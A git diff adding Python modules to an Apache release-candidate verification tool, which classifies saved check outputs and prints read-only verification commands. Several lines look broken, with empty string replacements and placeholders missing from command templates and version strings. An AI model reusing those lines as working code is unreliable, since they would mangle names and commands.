+"""release-verify-rc: classify the saved output of every RC check and render the report, deterministically.""" diff --git a/tools/release-management/src/release_management/verify_rc/args.py b/tools/release-management/src/release_management/verify_rc/args.py new file mode 100644 index 000000000..cdfcee635 --- /dev/null +++ b/tools/release-management/src/release_management/verify_rc/args.py @@ -0,0 +1,131 @@ +# Licensed to the Apache Software Foundation (ASF) under one +# or more contributor license agreements. See the NOTICE file +# distributed with this work for additional information +# regarding copyright ownership. The ASF licenses this file +# to you under the Apache License, Version 2.0 (the +# "License"); you may not use this file except in compliance +# with the License. You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, +# software distributed under the License is distributed on an +# "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY +# KIND, either express or implied. See the License for the +# specific language governing permissions and limitations +# under the License. +"""Turn `release-build.md` / `release-management-config.md` into the `release-verify` invocations. + +One `--expect` per required expected artefact and one `--expect-optional` per +optional one (in the listed order), one `--digest` per digest `release-verify` +checks, the Binary-exclude list as `--prohibit` / `--accept`, the +source-tree validators as `--validator`, and the version manifests as +`--manifest`. The agent runs the printed commands; this module runs nothing. +""" + +from __future__ import annotations + +from typing import Any + +from release_management.verify_rc.common import VerifyRc, dq, q + +RELEASE_VERIFY = "uv run --project /tools/release-verify release-verify" +#: The digests `release-verify --digest` accepts; md5 is detected on its own (a WARN), never passed. +CHECKED_DIGESTS = ("sha512", "sha256") + + +def _digests(v: VerifyRc) -> tuple[list[str], list[str]]: + wanted = ["sha512", *v.digests] + checked = [d for d in dict.fromkeys(wanted) if d in CHECKED_DIGESTS] + ignored = [d for d in dict.fromkeys(v.digests) if d not in CHECKED_DIGESTS] + return checked, ignored + + +def _join(head: str, parts: list[str]) -> str: + """`head` and its options, wrapped one option group per line for paste.""" + lines = [head] + current = "" + for part in parts: + if current and len(current) + len(part) > 90: + lines.append(current) + current = "" + current = f"{current} {part}".strip() + if current: + lines.append(current) + return " \\\n ".join(lines) + + +def invocations( + v: VerifyRc, + *, + staging_copy: str = "", + keys_file: str = "", + unpacked_dir: str | None = None, + previous_dir: str | None = None, +) -> dict[str, Any]: + """Every `release-verify` command of Steps 1-3 and 5-8, plus `all`, resolved from the config.""" + tree = unpacked_dir or v.unpacked_dir + expect: list[str] = [] + for entry in v.artefacts: + flag = "--expect" if entry.get("required", True) else "--expect-optional" + expect.append(f"{flag} {dq(str(entry['name']))}") + if not expect: + expect = ["--expect " + dq("")] + checked, ignored = _digests(v) + digest = [f"--digest {d}" for d in checked] + keys = [f"--keys {q(keys_file)}"] + keys_url = v.meta.get("keys_file_url") + if keys_url: + keys.append(f"--keys-url {dq(str(keys_url))}") + prohibit = [f"--prohibit {dq(g)}" for g in v.meta.get("binary_prohibit") or []] + accept = [f"--accept {dq(g)}" for g in v.meta.get("binary_accept") or []] + validators = [f"--validator {dq(c)}" for c in v.meta.get("source_tree_validators") or []] + manifests = [f"--manifest {q(str(m))}" for m in v.meta.get("version_manifest_files") or []] + previous = [f"--previous {q(previous_dir)}"] if previous_dir else [] + staged, unpacked = q(staging_copy), q(tree) + commands = { + "inventory": _join(f"{RELEASE_VERIFY} inventory", [f"--dir {staged}", *expect, *digest]), + "signatures": _join(f"{RELEASE_VERIFY} signatures", [f"--dir {staged}", *expect, *keys]), + "checksums": _join(f"{RELEASE_VERIFY} checksums", [f"--dir {staged}", *expect, *digest]), + "notice-license": _join(f"{RELEASE_VERIFY} notice-license", [f"--tree {unpacked}", *previous]), + "binaries": _join(f"{RELEASE_VERIFY} binaries", [f"--tree {unpacked}", *prohibit, *accept]), + "symlinks": _join(f"{RELEASE_VERIFY} symlinks", [f"--tree {unpacked}", *validators]), + "version": _join( + f"{RELEASE_VERIFY} version", [f"--tree {unpacked}", f"--rc-tag {v.rc_tag}", *manifests] + ), + "all": _join( + f"{RELEASE_VERIFY} all", + [ + f"--dir {staged}", + f"--tree {unpacked}", + *expect, + *digest, + *keys, + *previous, + *prohibit, + *accept, + *validators, + f"--rc-tag {v.rc_tag}", + *manifests, + ], + ), + } + warnings = [] + if not v.artefacts: + warnings.append("release-build.md § Expected artefact list names no artefact: fill it before Step 1") + if not manifests: + warnings.append("version_manifest_files is empty: Step 8 has nothing to check") + if ignored: + warnings.append( + f"digest_set lists {', '.join(ignored)}: not passed to release-verify " + "(only sha512 and sha256 are checked; a staged .md5 is reported on its own)" + ) + return { + "rc_tag": v.rc_tag, + "unpacked_dir": tree, + "required": [e["name"] for e in v.artefacts if e.get("required", True)], + "optional": [e["name"] for e in v.artefacts if not e.get("required", True)], + "digests": checked, + "commands": commands, + "warnings": warnings, + } diff --git a/tools/release-management/src/release_management/verify_rc/checks.py b/tools/release-management/src/release_management/verify_rc/checks.py new file mode 100644 index 000000000..2648761ed --- /dev/null +++ b/tools/release-management/src/release_management/verify_rc/checks.py @@ -0,0 +1,150 @@ +# Licensed to the Apache Software Foundation (ASF) under one +# or more contributor license agreements. See the NOTICE file +# distributed with this work for additional information +# regarding copyright ownership. The ASF licenses this file +# to you under the Apache License, Version 2.0 (the +# "License"); you may not use this file except in compliance +# with the License. You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, +# software distributed under the License is distributed on an +# "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY +# KIND, either express or implied. See the License for the +# specific language governing permissions and limitations +# under the License. +"""Step 4 (Apache RAT) and Step 7's `REVIEW` resolution, from what the agent saved.""" + +from __future__ import annotations + +import re +from typing import Any + +from release_management.verify_rc.common import VerifyError, VerifyRc, q + +_RAT_LINE = re.compile(r"^\s*!\?{5}\s+(\S.*?)\s*$") +_RAT_HEADER = re.compile(r"unapproved licen[cs]es?\s*:?\s*$", re.IGNORECASE) + + +def unapproved_files(report: str) -> list[str]: + """Paths RAT lists as having an unapproved or missing licence header. + + Two report shapes are read: the `!????? ` lines of the detailed + listing, and the indented paths under a `Files with unapproved licenses:` + (older RAT: `Unapproved licenses:`) header, up to the next blank line + after the first path. + """ + found: list[str] = [] + lines = report.splitlines() + for line in lines: + match = _RAT_LINE.match(line) + if match: + found.append(match.group(1)) + for index, line in enumerate(lines): + if not _RAT_HEADER.search(line.strip()): + continue + started = False + for follow in lines[index + 1 :]: + text = follow.strip() + if not text: + if started: + break + continue + if text.startswith(("*", "=", "-")) or not follow[:1].isspace(): + break + started = True + found.append(text) + return list(dict.fromkeys(found)) + + +def rat_recipe(v: VerifyRc, unpacked_dir: str | None = None) -> str: + """The paste-ready RAT run against the unpacked source artefact.""" + source = v.source_artefact + tree = unpacked_dir or v.unpacked_dir + unpack = f"unzip {q(source)}" if source.endswith(".zip") else f"tar -xf {q(source)}" + excludes = v.meta.get("rat_excludes_path") or "" + config = v.meta.get("rat_config_path") + return "\n".join( + [ + "# Unpack the source artefact first", + unpack, + "", + f"# Run RAT (Maven example; adapt per project build system{'; config: ' + str(config) if config else ''})", + f"cd {q(tree)} && mvn apache-rat:check -pl .", + "", + "# Or standalone jar", + f"java -jar apache-rat-.jar -d {q(tree)} -x {q(str(excludes))}", + ] + ) + + +def rat( + v: VerifyRc, *, report: str | None, exit_code: int | None, unpacked_dir: str | None = None +) -> dict[str, Any]: + """Step 4: RAT exit code and report → PASS / FAIL; RAT config absent → SKIP with a WARN.""" + config, excludes = v.meta.get("rat_config_path"), v.meta.get("rat_excludes_path") + out: dict[str, Any] = { + "step": "rat-license-headers", + "status": None, + "classification": None, + "rat_config_path": config, + "rat_excludes_path": excludes, + "unapproved_files": [], + "paste_recipe": rat_recipe(v, unpacked_dir), + } + if not config and not excludes: + return out | { + "status": "WARN", + "classification": "SKIP", + "warning": "release-build.md § Apache RAT configuration is absent: add it; do not proceed to the vote without it", + } + files = unapproved_files(report or "") + if exit_code is None and report is None: + return out | { + "pending": ["run the paste_recipe and pass --exit-code (and --report with RAT's output)"] + } + failed = bool(files) or (exit_code is not None and exit_code != 0) + classification = "FAIL" if failed else "PASS" + return out | {"status": classification, "classification": classification, "unapproved_files": files} + + +def _validator_result(raw: str) -> tuple[int, str | None]: + code, sep, detail = raw.partition(":") + try: + return int(code.strip()), (detail.strip() or None) if sep else None + except ValueError as exc: + raise VerifyError(f"--validator-result wants CODE[:DETAIL], got {raw!r}") from exc + + +def source_tree(symlinks: dict[str, Any], results: list[str]) -> dict[str, Any]: + """Step 7: resolve `release-verify symlinks`' `REVIEW` from the validators' exit codes. + + A tool-computed `FAIL` / `PASS` / `SKIP` is final. Under `REVIEW`, every + validator that exited non-zero is one `validator_failures` entry and + makes the step `FAIL`; all zero is `PASS`. `results` are in the order of + the tool's `validators_to_run`. + """ + if symlinks.get("step") != "source-tree-integrity": + raise VerifyError("--symlinks is not the JSON `release-verify symlinks` printed") + validators = [str(c) for c in symlinks.get("validators_to_run") or []] + out: dict[str, Any] = { + "step": "source-tree-integrity", + "status": symlinks.get("status"), + "dangling_symlinks": list(symlinks.get("dangling_symlinks") or []), + "outside_symlinks": list(symlinks.get("outside_symlinks") or []), + "validator_failures": list(symlinks.get("validator_failures") or []), + "paste_recipe": symlinks.get("paste_recipe", ""), + } + if out["status"] != "REVIEW": + return out + if len(results) > len(validators): + raise VerifyError(f"{len(results)} --validator-result values for {len(validators)} validators") + failures = [] + for command, raw in zip(validators, results, strict=False): + code, detail = _validator_result(raw) + if code != 0: + failures.append({"validator": command, "detail": detail or f"exited {code}"}) + if len(results) < len(validators) and not failures: + return out | {"pending": validators[len(results) :]} + return out | {"status": "FAIL" if failures else "PASS", "validator_failures": failures} diff --git a/tools/release-management/src/release_management/verify_rc/cli.py b/tools/release-management/src/release_management/verify_rc/cli.py new file mode 100644 index 000000000..8b01d7cd6 --- /dev/null +++ b/tools/release-management/src/release_management/verify_rc/cli.py @@ -0,0 +1,234 @@ +# Licensed to the Apache Software Foundation (ASF) under one +# or more contributor license agreements. See the NOTICE file +# distributed with this work for additional information +# regarding copyright ownership. The ASF licenses this file +# to you under the Apache License, Version 2.0 (the +# "License"); you may not use this file except in compliance +# with the License. You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, +# software distributed under the License is distributed on an +# "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY +# KIND, either express or implied. See the License for the +# specific language governing permissions and limitations +# under the License. +"""`release-management verify-rc …` — every command reads saved files, prints JSON and runs nothing. + +`--load` is the JSON `release-config load --skill verify-rc -rcN` +printed, saved to a file. The other file arguments are what the agent (or the +release manager) saved from a check's own run: a tool's JSON, RAT's report, +the Nexus probe output. +""" + +from __future__ import annotations + +import argparse +import json +from datetime import UTC, datetime +from pathlib import Path +from typing import Any + +from release_management.cli import emit +from release_management.verify_rc import args as args_mod +from release_management.verify_rc import checks, jvm, nexus, report, repro +from release_management.verify_rc.common import VerifyError, VerifyRc + +FAMILY = "verify-rc" + + +def _read(path: str | None) -> str | None: + return None if path is None else Path(path).read_text(encoding="utf-8") + + +def _json(path: str | None) -> Any: + text = _read(path) + return None if text is None else json.loads(text) + + +def _load(args: argparse.Namespace) -> VerifyRc: + return VerifyRc.from_load(_json(args.load)) + + +def _names(args: argparse.Namespace) -> list[str]: + return jvm.staged_names(_json(args.inventory), args.staged_dir) + + +def add_parsers(sub: Any) -> None: + parser = sub.add_parser( + FAMILY, help="release-verify-rc: classify each check's saved output and render the report" + ) + commands = parser.add_subparsers(dest="command", required=True) + + def with_load(name: str, help_text: str) -> argparse.ArgumentParser: + p: argparse.ArgumentParser = commands.add_parser(name, help=help_text) + p.add_argument( + "--load", required=True, help="file holding `release-config load --skill verify-rc …` output" + ) + return p + + p = with_load("args", "the release-verify invocations of Steps 1-3 and 5-8, from release-build.md") + p.add_argument("--staging-copy", default="", help="local copy of the staging directory") + p.add_argument("--keys-file", default="", help="local copy of the project KEYS file") + p.add_argument( + "--unpacked-dir", help="unpacked source artefact (default: its filename without extension)" + ) + p.add_argument("--previous-dir", help="directory holding the previous release's NOTICE and LICENSE") + + p = with_load("rat", "Step 4: RAT exit code and report → PASS / FAIL; no RAT config → SKIP + WARN") + p.add_argument("--exit-code", type=int, help="RAT's exit code") + p.add_argument("--report", help="file holding RAT's report / output") + p.add_argument("--unpacked-dir") + + p = commands.add_parser( + "source-tree", help="Step 7: resolve release-verify symlinks' REVIEW from validator exit codes" + ) + p.add_argument("--symlinks", required=True, help="file holding `release-verify symlinks` JSON") + p.add_argument( + "--validator-result", + action="append", + default=[], + metavar="CODE[:DETAIL]", + help="one per validator, in validators_to_run order", + ) + + for name, help_text in ( + ("jvm", "Step 6b: gate, maven-artifact-verify recipe, and the report's classification"), + ( + "nexus", + "Step 6c: gates, id-shape check, read-only probe recipe, and the probe output's classification", + ), + ): + p = with_load(name, help_text) + p.add_argument("--inventory", help="file holding the Step 1 `release-verify inventory` JSON") + p.add_argument("--staged-dir", help="local staging copy (listed for .jar / .pom)") + if name == "jvm": + p.add_argument( + "--tree", help="unpacked source artefact (DISCLAIMER / DISCLAIMER-WIP → --podling)" + ) + p.add_argument("--report", help="file holding maven-artifact-verify's JSON report") + else: + p.add_argument( + "--issue-body", help="planning issue body (--post-to only), for a nexus-staging-repo: line" + ) + p.add_argument( + "--rm-credentials", action="store_true", help="the RM runs recipes 2-3 with their netrc" + ) + p.add_argument("--not-probed", action="store_true", help="the sandbox refused the probe") + p.add_argument("--existence-code", type=int, help="HTTP code recipe 1 printed") + p.add_argument("--state", help="file holding what recipe 2 printed") + p.add_argument("--profile", help="file holding what recipe 3 printed") + p.add_argument("--crawl", help="file holding what recipe 4 printed") + + p = with_load("repro", "Step 9: mandatory / skip, recipe, and the status roll-up") + p.add_argument("--skip-repro", action="store_true") + p.add_argument("--trusted-hardware", action="store_true") + p.add_argument("--recorded-commit", help="commit on the planning issue's reproducibility record") + p.add_argument("--tag-commit", help='what `git rev-parse "^{commit}"` printed') + p.add_argument("--recorded-swhid", help="swh:1:dir: on the planning issue (qualifiers ignored)") + p.add_argument("--atr-swhid", help="swh:1:dir: the ATR candidate page shows") + p.add_argument("--epoch", type=int, help="recorded SOURCE_DATE_EPOCH") + p.add_argument("--check", help="file holding `repro-archive check --json` output") + p.add_argument("--compare", help="file holding `repro-archive compare --json` output") + p.add_argument( + "--binary", + action="append", + default=[], + metavar="NAME=identical|differs|known:", + help="one per convenience artefact rebuilt", + ) + p.add_argument("--upstream-clone", default="") + p.add_argument("--remote", default="") + p.add_argument("--staged-dir", default="") + + p = with_load("report", "Step 10: attestation decision, report text and the --post-to comment") + p.add_argument("--verdict", required=True, help="file holding `release-verify verdict` (or `all`) JSON") + p.add_argument("--repro", help="file holding the Step 9 JSON (`verify-rc repro`)") + p.add_argument("--compare", help="file holding `repro-archive compare --json` output (rebuilt sha512)") + p.add_argument("--staging-url") + p.add_argument("--utc", help="verification timestamp (default: now)") + p.add_argument("--post-to", help="planning issue URL: render the comment to propose (never posted)") + p.add_argument("--trusted-hardware", action="store_true") + p.add_argument("--committer", help="GitHub handle of the person who passed --trusted-hardware") + p.add_argument("--finding", action="append", default=[], metavar="STEP=TEXT") + p.add_argument("--fail-detail", action="append", default=[]) + p.add_argument("--warn-detail", action="append", default=[]) + + +def _run(args: argparse.Namespace) -> dict[str, Any]: + if args.command == "source-tree": + return checks.source_tree(_json(args.symlinks), args.validator_result) + v = _load(args) + if args.command == "args": + return args_mod.invocations( + v, + staging_copy=args.staging_copy, + keys_file=args.keys_file, + unpacked_dir=args.unpacked_dir, + previous_dir=args.previous_dir, + ) + if args.command == "rat": + return checks.rat( + v, report=_read(args.report), exit_code=args.exit_code, unpacked_dir=args.unpacked_dir + ) + if args.command == "jvm": + return jvm.jvm( + v, names=_names(args), tree=args.tree, staged_dir=args.staged_dir, report_text=_read(args.report) + ) + if args.command == "nexus": + skipped, repo = nexus.gate(v, _names(args), _read(args.issue_body)) + if skipped is not None or repo is None: + return skipped or {} + return nexus.classify( + v, + repo, + rm_credentials=args.rm_credentials, + not_probed=args.not_probed, + existence_code=args.existence_code, + state_text=_read(args.state), + profile_text=_read(args.profile), + crawl_text=_read(args.crawl), + ) + if args.command == "repro": + return repro.reproducibility( + v, + skip_repro=args.skip_repro, + trusted_hardware=args.trusted_hardware, + recorded_commit=args.recorded_commit, + tag_commit=args.tag_commit, + recorded_swhid=args.recorded_swhid, + atr_swhid=args.atr_swhid, + epoch=args.epoch, + check=_json(args.check), + compare=_json(args.compare), + binary_results=args.binary, + clone=args.upstream_clone, + remote=args.remote, + staged_dir=args.staged_dir, + ) + compare = _json(args.compare) or {} + return report.report( + v, + _json(args.verdict), + repro=_json(args.repro), + rebuilt_sha512=compare.get("sha512_b"), + staging_url=args.staging_url, + utc=args.utc or datetime.now(UTC).strftime("%Y-%m-%dT%H:%M:%SZ"), + post_to=args.post_to, + trusted_hardware=args.trusted_hardware, + committer=args.committer, + findings=args.finding, + fail_details=args.fail_detail, + warn_details=args.warn_detail, + ) + + +def dispatch(args: argparse.Namespace) -> int: + try: + out = _run(args) + except (VerifyError, OSError, json.JSONDecodeError) as exc: + emit({"ok": False, "error": str(exc)}) + return 2 + emit(out) + return 0 diff --git a/tools/release-management/src/release_management/verify_rc/common.py b/tools/release-management/src/release_management/verify_rc/common.py new file mode 100644 index 000000000..ba0021059 --- /dev/null +++ b/tools/release-management/src/release_management/verify_rc/common.py @@ -0,0 +1,128 @@ +# Licensed to the Apache Software Foundation (ASF) under one +# or more contributor license agreements. See the NOTICE file +# distributed with this work for additional information +# regarding copyright ownership. The ASF licenses this file +# to you under the Apache License, Version 2.0 (the +# "License"); you may not use this file except in compliance +# with the License. You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, +# software distributed under the License is distributed on an +# "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY +# KIND, either express or implied. See the License for the +# specific language governing permissions and limitations +# under the License. +"""What every verify-rc command reads from `release-config load --skill verify-rc -rcN`.""" + +from __future__ import annotations + +import re +import shlex +from dataclasses import dataclass, field +from typing import Any + +from release_management.shell import dq as dq # re-exported for the step modules + +#: The voter-obligation reminder (Golden rule 4), verbatim in every report. +VOTER_OBLIGATION_REMINDER = ( + "> *This report is a mechanical pre-flight aid. A `PASS` result does\n" + "> not discharge a voter's ASF obligation to download, build, and\n" + "> test the candidate on their own hardware before posting a binding\n" + "> `+1`.*" +) + +ARCHIVE_SUFFIXES = (".tar.gz", ".tgz", ".tar.bz2", ".tar.xz", ".tar", ".zip") +_SAFE = re.compile(r"[\w@%+=:,./-]+") + + +class VerifyError(ValueError): + """The input cannot be classified: reported as `{"ok": false, "error": ...}` with exit code 2.""" + + +def q(value: str) -> str: + """Shell-quote a value unless it is plainly safe.""" + return value if _SAFE.fullmatch(value) else shlex.quote(value) + + +@dataclass +class VerifyRc: + """The resolved verify-rc configuration.""" + + version: str + rc: str + meta: dict[str, Any] + config: dict[str, Any] = field(default_factory=dict) + organization: str = "independent" + + @classmethod + def from_load(cls, loaded: dict[str, Any]) -> VerifyRc: + meta = loaded.get("metadata") or {} + version, rc = meta.get("version"), meta.get("rc") + if not version or not rc: + raise VerifyError( + "release-config load output has no version / rc: run it with --skill verify-rc -rcN" + ) + return cls( + version=str(version), + rc=str(rc), + meta=meta, + config=loaded.get("config") or {}, + organization=str(meta.get("organization") or loaded.get("organization") or "independent"), + ) + + @property + def rc_tag(self) -> str: + return f"{self.version}-{self.rc}" + + @property + def is_asf(self) -> bool: + return self.organization.upper() == "ASF" + + @property + def ci_automated(self) -> bool: + """`automated_release_signing: enabled` under an organization that offers it.""" + return self.meta.get("signing_mode") == "ci-automated" + + @property + def artefacts(self) -> list[dict[str, Any]]: + out = [] + for entry in self.meta.get("expected_artefacts") or []: + if isinstance(entry, str): + entry = {"name": entry, "kind": "source", "required": True} + out.append(entry) + return out + + @property + def source_artefact(self) -> str: + for entry in self.artefacts: + if entry.get("kind") == "source": + return str(entry["name"]) + return str(self.artefacts[0]["name"]) if self.artefacts else "" + + @property + def unpacked_dir(self) -> str: + """The source artefact's filename without its archive extension (`-source-release` kept).""" + name = self.source_artefact + for suffix in ARCHIVE_SUFFIXES: + if name.endswith(suffix): + return name[: -len(suffix)] + return name + + @property + def digests(self) -> list[str]: + return [str(d).lower() for d in self.meta.get("digest_set") or ["sha512"]] + + def convenience(self) -> list[dict[str, Any]]: + """Each convenience artefact with its name rendered (its own `version`, default the release's).""" + out = [] + for entry in self.meta.get("convenience_artefacts") or []: + if not isinstance(entry, dict): + continue + own = str(entry.get("version") or self.version) + name = str(entry.get("name", "")).replace("-", self.rc_tag) + name = name.replace("", own).replace("", self.rc) + mode = str(entry.get("reproducibility") or self.meta.get("reproducibility_binaries") or "off") + out.append(entry | {"name": name, "reproducibility": mode}) + return out diff --git a/tools/release-management/src/release_management/verify_rc/jvm.py b/tools/release-management/src/release_management/verify_rc/jvm.py new file mode 100644 index 000000000..6fee81e36 --- /dev/null +++ b/tools/release-management/src/release_management/verify_rc/jvm.py @@ -0,0 +1,229 @@ +# Licensed to the Apache Software Foundation (ASF) under one +# or more contributor license agreements. See the NOTICE file +# distributed with this work for additional information +# regarding copyright ownership. The ASF licenses this file +# to you under the Apache License, Version 2.0 (the +# "License"); you may not use this file except in compliance +# with the License. You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, +# software distributed under the License is distributed on an +# "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY +# KIND, either express or implied. See the License for the +# specific language governing permissions and limitations +# under the License. +"""Step 6b: gate, recipe and classification of the `maven-artifact-verify` report.""" + +from __future__ import annotations + +import json +from pathlib import Path +from typing import Any + +from release_management.verify_rc.common import VerifyRc, dq + +MAVEN_VERIFY = "uv run --project /tools/maven-artifact-verify" +PODLING_MARKERS = ("DISCLAIMER", "DISCLAIMER-WIP") +_POM_CHECKS = ("check1", "check2") + + +def is_jvm(names: list[str]) -> bool: + """Whether the Step 1 listing holds at least one `.jar` or `.pom`.""" + return any(n.endswith((".jar", ".pom")) for n in names) + + +def staged_names(inventory: dict[str, Any] | None, staged_dir: str | None) -> list[str]: + """Every staged filename: Step 1's `found` and `unexpected`, plus a local listing when given.""" + names: list[str] = [] + if inventory: + names += [str(n) for n in inventory.get("found") or []] + names += [str(n) for n in inventory.get("unexpected") or []] + if staged_dir and Path(staged_dir).is_dir(): + names += sorted(p.name for p in Path(staged_dir).iterdir() if p.is_file()) + return list(dict.fromkeys(names)) + + +def podling(tree: str | None) -> bool: + """The podling signal: a `DISCLAIMER` or `DISCLAIMER-WIP` at the unpacked source root.""" + return bool(tree) and any((Path(str(tree)) / m).is_file() for m in PODLING_MARKERS) + + +def digest_set(v: VerifyRc) -> list[str]: + """`jvm_digest_set` when set, otherwise the § Digest set (default `sha512`).""" + return [str(d).lower() for d in v.meta.get("jvm_digest_set") or []] or v.digests or ["sha512"] + + +def recipe(v: VerifyRc, staged_dir: str, *, is_podling: bool, companions: list[str]) -> str: + flags = f"--digests {','.join(digest_set(v))}" + (" --podling" if is_podling else "") + lines = [ + f"{MAVEN_VERIFY} \\", + f" maven-artifact-verify {dq(staged_dir)} {flags}", + "# without uv:", + "# python3 /tools/maven-artifact-verify/src/maven_artifact_verify/__init__.py ...", + ] + if companions: + lines += ["", "# Companion signatures (same KEYS flow as Step 2):"] + lines += [f"gpg --verify {dq(c + '.asc')} {dq(c)}" for c in companions] + return "\n".join(lines) + + +def _signed_companions(report: dict[str, Any], staged_dir: str) -> list[str]: + """Companions whose `.asc` is staged: a companion with no `.asc` is already a finding.""" + out: list[str] = [] + local = Path(staged_dir) + for jar in report.get("jars") or []: + for comp in jar.get("companions") or []: + name = str(comp.get("companion") or "") + if not name or name == jar.get("jar") or comp.get("classification") == "ABSENT": + continue + if local.is_dir(): + if (local / f"{name}.asc").is_file(): + out.append(name) + continue + detail = str(comp.get("detail") or "") + if comp.get("classification") == "PASS" or ( + ".asc" not in detail and "missing companion" not in detail + ): + out.append(name) + return out + + +def _pom_findings(report: dict[str, Any]) -> list[str]: + out: list[str] = [] + for pom in report.get("poms") or []: + label = pom.get("pom") + for check in _POM_CHECKS: + results = pom.get(check) or {} + for key, status in results.items(): + if key.endswith("_detail") or status in (None, "PASS", "SKIP"): + continue + detail = results.get(f"{key}_detail") or "" + if status == "FAIL": + out.append(f"{label}: {detail}" if detail else f"{label}: {check} {key} FAIL") + else: + out.append(f"{label}: {check} {key} {status}" + (f" — {detail}" if detail else "")) + return out + + +def _companion_findings(report: dict[str, Any], location: str) -> tuple[list[str], bool]: + """Non-passing companion checks, and whether an `ABSENT` jar fails under `staged`.""" + out: list[str] = [] + absent_fails = False + absent: list[str] = [] + for jar in report.get("jars") or []: + for comp in jar.get("companions") or []: + classification = comp.get("classification") + if classification in (None, "PASS"): + continue + name = comp.get("companion") or jar.get("jar") + if classification == "ABSENT": + absent.append(str(name)) + if location == "staged": + absent_fails = True + out.append( + f"{name} is declared by a staged POM but not staged locally (ABSENT); " + "jvm_companion_location: staged — the RC was expected to stage it, a FAIL" + ) + else: + out.append( + f"{name} is declared by a staged POM but not staged locally (ABSENT); " + f"jvm_companion_location: {location} — an observation, not a failure" + ) + continue + detail = comp.get("detail") or classification + out.append(f"{name}: {detail}") + for finding in report.get("findings") or []: + text = str(finding) + if any(text.startswith(f"{name} ") for name in absent): + continue + out.append(text) + return out, absent_fails + + +def _observations(report: dict[str, Any]) -> list[str]: + obs = report.get("observations") or {} + out: list[str] = [] + for item in obs.get("timestamp_signal") or []: + counts = "" + if item.get("entries") is not None and item.get("distinct_timestamps") is not None: + counts = f" ({item['distinct_timestamps']} distinct across {item['entries']} entries)" + out.append(f"{item.get('jar')}: {item.get('signal')}{counts} - {item.get('detail')}") + for item in obs.get("namespace_signal") or []: + if item.get("signal") == "unreadable": + out.append(f"{item.get('jar')}: unreadable - {item.get('detail')}") + continue + under = item.get("under_org_apache") + where = ( + "is under org.apache.*" + if under + else "is NOT under org.apache.* (informational even for ASF projects - " + "published coordinates cannot be renamed retroactively)" + ) + out.append(f"{item.get('jar')}: groupId {item.get('group_id')} {where}; {item.get('detail')}") + for item in obs.get("companion_content") or []: + out.append(f"{item.get('jar')}: {item.get('signal')} - {item.get('detail')}") + return out + + +def jvm( + v: VerifyRc, + *, + names: list[str], + tree: str | None, + staged_dir: str | None, + report_text: str | None, +) -> dict[str, Any]: + """Step 6b's gate, recipe and — given the tool report — its JSON contract.""" + base: dict[str, Any] = { + "step": "jvm-artefacts", + "status": None, + "tool_report": None, + "pom_findings": [], + "companion_findings": [], + "observations": [], + "paste_recipe": "", + } + if str(v.meta.get("jvm_artefact_checks") or "on") == "off": + return base | { + "status": "SKIP", + "skip_reason": "release-build.md § JVM artefact checks declares jvm_artefact_checks: off", + "paste_recipe": "# Step 6b skipped: jvm_artefact_checks: off", + } + if not is_jvm(names): + return base | { + "status": "SKIP", + "skip_reason": "the Step 1 listing holds no .jar and no .pom", + "paste_recipe": "# Step 6b skipped: no .jar or .pom staged", + } + staged = staged_dir or "" + report = json.loads(report_text) if report_text is not None else None + # The podling signal is read from the unpacked tree; without one, the report's own flag stands. + is_podling = podling(tree) if tree else bool(report and report.get("podling")) + if report is None or report_text is None: + pending = ["run the paste_recipe and pass --report with maven-artifact-verify's JSON"] + if not tree: + pending.insert( + 0, "pass --tree so --podling is decided from DISCLAIMER / DISCLAIMER-WIP" + ) + return base | { + "paste_recipe": recipe(v, staged, is_podling=is_podling, companions=[]), + "podling": is_podling, + "pending": pending, + } + location = str(v.meta.get("jvm_companion_location") or "nexus-staging") + companions, absent_fails = _companion_findings(report, location) + status = report.get("status") + if absent_fails and status != "SKIP": + status = "FAIL" + return base | { + "status": status, + "tool_report": report_text.strip(), + "pom_findings": _pom_findings(report), + "companion_findings": companions, + "observations": _observations(report), + "paste_recipe": recipe( + v, staged, is_podling=is_podling, companions=_signed_companions(report, staged) + ), + } diff --git a/tools/release-management/src/release_management/verify_rc/nexus.py b/tools/release-management/src/release_management/verify_rc/nexus.py new file mode 100644 index 000000000..d77e72294 --- /dev/null +++ b/tools/release-management/src/release_management/verify_rc/nexus.py @@ -0,0 +1,383 @@ +# Licensed to the Apache Software Foundation (ASF) under one +# or more contributor license agreements. See the NOTICE file +# distributed with this work for additional information +# regarding copyright ownership. The ASF licenses this file +# to you under the Apache License, Version 2.0 (the +# "License"); you may not use this file except in compliance +# with the License. You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, +# software distributed under the License is distributed on an +# "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY +# KIND, either express or implied. See the License for the +# specific language governing permissions and limitations +# under the License. +"""Step 6c: gates, the read-only probe recipe, and the classification of its saved output. + +The staging repository id is spliced into `curl` URLs the agent runs itself, +and it can come from the planning issue body, so it is validated against the +Nexus shape before any recipe is rendered: anything but +`orgapache-NNNN` (or the literal `snapshots`, which the rules then +flag) is a `SKIP` naming the bad value. Every recipe is a `GET`; nothing +here closes, drops or promotes a repository, and nothing here runs one. +""" + +from __future__ import annotations + +import json +import re +from typing import Any + +from release_management.verify_rc.common import VerifyRc +from release_management.verify_rc.jvm import is_jvm + +NEXUS = "https://repository.apache.org" +NETRC = "~/.config/apache-magpie/asf-nexus/netrc" +ID_SHAPE = re.compile(r"^orgapache[a-z0-9]+-[0-9]+$") +SNAPSHOTS = "snapshots" +CHECKSUMS = (".sha1", ".md5", ".sha256", ".sha512") +_URL_ID = re.compile( + r"repository\.apache\.org/(?:content/repositories|service/local/staging/repository)/([^/\s`\"'<>)]+)" +) 